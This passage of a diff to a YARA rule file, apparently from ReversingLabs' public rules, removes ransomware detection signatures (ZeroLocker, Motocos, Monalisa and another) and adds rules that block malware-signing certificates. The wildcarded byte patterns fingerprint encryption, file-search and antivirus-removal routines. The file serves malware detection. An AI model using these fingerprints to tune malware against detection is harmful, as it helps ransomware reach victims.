?? 50 8D - 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 FF - 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8D 95 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 - ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? - 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B - 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D - ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 6A ?? 6A ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? E8 ?? ?? - ?? ?? 50 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B - E5 5D C2 - } - $encrypt_files_p3 = { - 55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B - 4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 - ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8D 4D ?? - 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? - ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 8B 55 ?? 89 11 33 C0 8B E5 5D C3 - } - $find_files = { - 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 - 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? - 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 76 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? - 51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? - ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 - } - $uninstall_eset_av = { - 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? 8D - 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? - ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 8D ?? - ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? - ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "61:02:46:82:93:ba:73:08:d1:7e:fb:43:ad:6b:fb:58" and 1470960000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6Ded1A7Ff6Da152A98A57A2F : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "033c9ce3-1676-5ad1-9ec1-08b3ffc585bb" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14350-L14366" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "20ec1e8e0570eb216304fd8453df315a26d9c170224177c325c10cbefc1993fb" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $uninstall_eset_av ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "6d:ed:1a:7f:f6:da:15:2a:98:a5:7a:2f" and 1479094343 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Zerolocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3Ce65Ea057B975D2C17Eaf2C2297B1Eb : INFO FILE { meta: - description = "Yara rule that detects ZeroLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "291b5640-387c-54d9-97a6-13823932fa60" - date = "2021-08-12" - modified = "2021-08-12" + id = "f86fbd6f-1635-56d7-b390-e067f81b8705" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara#L1-L70" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14368-L14384" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "147e4b390bcfaff8f05059c1d9a98b50f544fc32e820406417894fe5046e0f71" + logic_hash = "e17988cb2503e285cfe2ea74d7bc61c577d828e14fd5d8d8062e469dc75c449e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ZeroLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_routine_1 = { - 00 28 5B 00 00 0A 20 ?? 07 00 00 28 60 00 00 06 13 09 20 ?? 07 00 00 28 60 00 00 06 13 - 0B 02 03 20 ?? 07 00 00 28 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D - 1B 00 00 04 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 04 20 ?? 07 00 00 28 60 00 00 06 20 - ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 - 13 0B 02 7B 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 6A 6F ?? 00 00 0A 00 20 ?? 07 00 - 00 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 8D 1E 00 00 01 0A 20 ?? 07 00 00 - 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 6A 13 04 20 ?? 07 00 00 28 60 00 00 - 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A [0-2] 13 05 20 ?? 07 00 00 28 60 00 00 06 13 - 0B 73 ?? 00 00 0A 0C 20 ?? 07 00 00 28 60 00 00 06 13 0B 00 0E 05 20 ?? 07 00 00 28 60 - 00 00 06 59 13 0C 11 0C 45 02 00 00 00 02 00 00 00 ?? 00 00 00 2B ?? 00 20 ?? 07 00 00 - 28 60 00 00 06 13 0B 02 7B 1C 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 - 28 60 00 00 06 73 ?? 00 00 0A 0B 2B ?? 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C - 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A - 0B 00 2B 62 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1B 00 00 04 06 20 ?? 07 00 00 28 - 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 6F ?? 00 00 0A [0-2] 0D 20 ?? 07 00 00 28 60 - } - $encrypt_routine_2 = { - 00 00 06 13 0B 07 06 20 ?? 07 00 00 28 60 00 00 06 09 6F ?? 00 00 0A 00 20 ?? 07 00 00 - 28 60 00 00 06 13 0B 11 04 09 6A D6 13 04 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 04 - 11 05 FE 04 13 0D 11 0D 2D 86 ?? 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 4F 00 00 06 26 - 20 ?? 07 00 00 28 60 00 00 06 13 0B 07 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 - 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C - 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 - 60 00 00 06 FE 01 13 0D 11 0D 2C 32 ?? 45 01 00 00 00 F6 FF FF FF 20 ?? 07 00 00 28 60 - 00 00 06 13 0B 03 73 ?? 00 00 0A 13 06 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 06 6F ?? - 00 00 0A 00 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 60 00 00 06 - FE 01 13 0D 11 0D 2C ?? [0-20] 20 ?? 07 00 00 28 60 00 00 06 13 0B 03 73 ?? 00 00 0A 13 - 07 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 07 6F ?? 00 00 0A 00 00 20 ?? ?? 00 00 28 60 - 00 00 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? ?? 00 00 28 60 00 00 06 13 0B - 02 7B 1C 00 00 04 6F ?? 00 00 0A 00 DD 3B 01 00 00 11 0A 2B 0D 11 0A 20 ?? ?? 00 00 28 - } - $encrypt_routine_3 = { - 60 00 00 06 58 20 ?? 08 00 00 28 60 00 00 06 13 0A 45 26 00 00 00 00 00 00 00 ?? FC FF - FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? ?? FF FF - ?? FD FF FF ?? FD FF FF ?? FD FF FF 00 00 00 00 ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? - FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? FF FF ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? - FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF - FF ?? FE FF FF E8 FE FF FF FC FE FF FF 10 FF FF FF 11 FF FF FF 29 FF FF FF 41 FF FF FF - DE 6D 11 0B 13 0A 11 09 20 ?? 08 00 00 28 60 00 00 06 30 16 ?? 45 01 00 00 00 F6 FF FF - FF 20 ?? 08 00 00 28 60 00 00 06 2B 02 11 09 45 02 00 00 00 00 00 00 00 11 FF FF FF DE - 34 75 4B 00 00 01 14 FE 03 11 09 20 ?? 08 00 00 28 60 00 00 06 FE 03 5F 11 0A 20 ?? 08 - 00 00 28 60 00 00 06 FE 01 5F FE 11 74 4B 00 00 01 28 57 00 00 0A DE 93 20 ?? 08 00 00 - 28 60 00 00 06 28 ?? 00 00 0A - } - condition: - uint16( 0 ) == 0x5A4D and ( $encrypt_routine_1 and $encrypt_routine_2 and $encrypt_routine_3 ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and pe.signatures [ i ] . serial == "3c:e6:5e:a0:57:b9:75:d2:c1:7e:af:2c:22:97:b1:eb" and 1528243200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Motocos : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5D085A9A288549D09Edc4941 : INFO FILE { meta: - description = "Yara rule that detects Motocos ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cda44b86-c747-5b48-acd8-e68311ab24a3" - date = "2021-09-17" - modified = "2021-09-17" + id = "8fa1f434-2061-5131-9378-58c584eff447" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Motocos.yara#L1-L75" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14386-L14402" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "34b99847f029a291808f08ba6e6ae62a54e6fed5acc928fe4828054801786881" + logic_hash = "dff7c2d727acca753b030d05028590e1a5577121bb2b4c0dcfcb70b4c9d77cbf" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Motocos" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $generate_key = { - 55 8B EC 83 C4 ?? 53 89 4D ?? 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 15 - ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 ?? ?? - ?? ?? 64 FF 32 64 89 22 8B 4D ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 - ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B D8 89 5D ?? 80 - 7D ?? ?? 75 ?? 8B 5D ?? 03 DB 53 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 53 8D 45 ?? 50 8B 45 ?? 50 6A ?? 80 7D ?? ?? F5 1B C0 50 6A ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 84 C0 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 - 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? - 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? C3 E9 ?? ?? - ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? - 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C2 - } - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 89 4D ?? 89 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? - 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 C6 45 ?? ?? 33 D2 55 68 ?? ?? ?? ?? 64 FF - 32 64 89 22 B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B D8 8B C3 8B D8 F6 C3 ?? 74 ?? 66 83 E3 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B C3 - E8 ?? ?? ?? ?? 8B D0 B1 ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 D2 - 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 8B 10 FF 12 8B C8 8B 55 ?? A1 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B C8 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 88 45 ?? 33 C0 5A 59 59 64 - 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? - ?? EB ?? 80 7D ?? ?? 75 ?? 8D 45 ?? 50 8B 45 ?? 89 45 ?? C6 45 ?? ?? B8 ?? ?? ?? ?? - 89 45 ?? C6 45 ?? ?? 8D 55 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 1B C0 40 88 45 - ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? E9 - } - $find_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 C9 89 4D ?? 8B FA 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 7C ?? 8B 45 ?? 66 - 83 3C 58 ?? 75 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? E8 ?? ?? ?? ?? - 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 8D 45 ?? 50 8D 53 ?? 8B CE 8B 45 ?? E8 ?? ?? ?? - ?? 8B C7 8B 55 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 - ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B C7 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 - ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $generate_key ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5d:08:5a:9a:28:85:49:d0:9e:dc:49:41" and 1478757821 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Monalisa : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7D20Dec3797A1Ac30649Ebb184265B79 : INFO FILE { meta: - description = "Yara rule that detects Monalisa ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "34addb63-2426-59a2-b79b-052a9161d361" - date = "2022-05-13" - modified = "2022-05-13" + id = "5344bda2-bc11-5700-a0f7-52792c5bb87a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Monalisa.yara#L1-L83" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14404-L14420" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0bcb79dff111ec05ac93bbe9a777546bd6234dc60d9f6982c03cd0bc3b26b038" + logic_hash = "78c0575a1c9ecf37ef5bac0612c20f96b8641875b0ba786979adc8a77f001a5e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Monalisa" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 A1 ?? ?? ?? ?? 33 - C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B CC 89 65 - ?? 8D 45 ?? B3 ?? 51 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 33 C0 6A - ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 E8 ?? ?? ?? ?? - 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8A D3 88 5D ?? 8B CE E8 ?? ?? - ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? - ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? - 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? - ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 - } - $write_proc_mem = { - 8D 45 ?? 50 FF 76 ?? 8B 46 ?? 03 C7 50 8B 06 03 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 3E 0F B7 41 ?? 48 3B D8 75 ?? 8B 51 ?? - EB ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 56 ?? 8B 4E ?? 2B D7 8B C1 25 ?? - ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? - ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? - ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? - ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 85 C9 - B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 48 C1 8D 4D ?? 51 50 8B 45 ?? 52 03 C7 50 FF 75 ?? - FF 15 - } - $encrypt_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 50 - 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? - ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 51 0F 43 05 ?? ?? ?? ?? 50 6A ?? 68 ?? - ?? ?? ?? 51 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 05 ?? ?? ?? ?? ?? ?? ?? - ?? 0F 10 00 0F 11 05 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 05 ?? ?? ?? ?? C7 40 ?? ?? - ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 89 08 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? - ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 - ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 - 89 0D ?? ?? ?? ?? 59 8B E5 5D C3 - } - $generate_key = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 56 50 8D 45 